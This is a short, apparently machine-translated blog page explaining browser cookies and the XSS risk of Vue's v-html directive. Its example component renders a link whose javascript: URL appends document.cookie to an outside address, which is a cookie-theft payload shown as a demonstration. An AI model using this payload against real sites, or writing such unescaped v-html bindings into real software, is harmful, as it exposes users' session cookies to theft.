当前位置:网站首页>What are cookies and the security risks of v-htm
What are cookies and the security risks of v-htm
2022-06-28 00:52:00 【qq_ forty-six million three hundred and two thousand two hundre】
What is? cookie? Server returned key-value String of form , Then saved by the browser 

Only HttpOnly Unchecked , Can be js obtain ;HttpOnly It is set at the back end 
v-htm Hidden danger of safety
<template>
<div class="profile">
<div v-html="str"></div>
</div>
</template>
<script>
export default {
data() {
return {
str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie> I have a surprise !</a>'
}
},
}
</script>

边栏推荐
- Overview and construction of redis master-slave replication, sentinel mode and cluster
- 云原生运维文章计划
- 攻击队攻击方式复盘总结
- 券商买股票用什么app是比较好的,比较安全的
- MATLAB basic function length function
- Code neatness -- function
- #796 Div.2 F. Sanae and Giant Robot set *
- Is it reliable to invest in exchange traded ETF funds? Is it safe to invest in exchange traded ETF funds
- Squid代理服务器(缓存加速之Web缓存层)
- Modern programming language: rust
猜你喜欢

现代编程语言:Rust (铁锈,一文掌握钢铁是怎样生锈的)

MATLB|改进的前推回代法求解低压配电网潮流

Why are cloud vendors targeting this KPI?

炼金术(7): 何以解忧,唯有重构

认识微信小程序项目的基本组成结构

Understand the basic structure of wechat applet project

Hcip/hcie Routing & Switching / datacom Reference Dictionary Series (19) comprehensive summary of PKI knowledge points (public key infrastructure)

吴恩达《机器学习》课程总结(13)_聚类

GFS 分布式文件系统概述与部署

What is promise
随机推荐
1696D. Permutation Graph 思维
electron窗口背景透明无边框(可用于启动页面)
TIME_ Solutions to excessive wait
#796 Div.2 F. Sanae and Giant Robot set *
技术的极限(11): 有趣的编程
Alchemy (6): iteratable models and use cases
炼金术(9): 简约而不简单,永不停歇的测试 -- always_run
Local visualization tool connects to redis of Alibaba cloud CentOS server
【无标题】
RNA-seq入门实战(一):上游数据下载、格式转化和质控清洗
Squid代理服务器(缓存加速之Web缓存层)
Is it reliable to invest in exchange traded ETF funds? Is it safe to invest in exchange traded ETF funds
796 div.2 C. managing history thinking
Is the securities registration account safe? Is there any risk?
Startup and shutdown of Oracle Database
MATLAB basic function length function
Acwing game 57 [unfinished]
Alchemy (9): simple but not simple, never-ending test -- always_ run
Installation and use of Zotero document management tool
zotero文献管理工具安装使用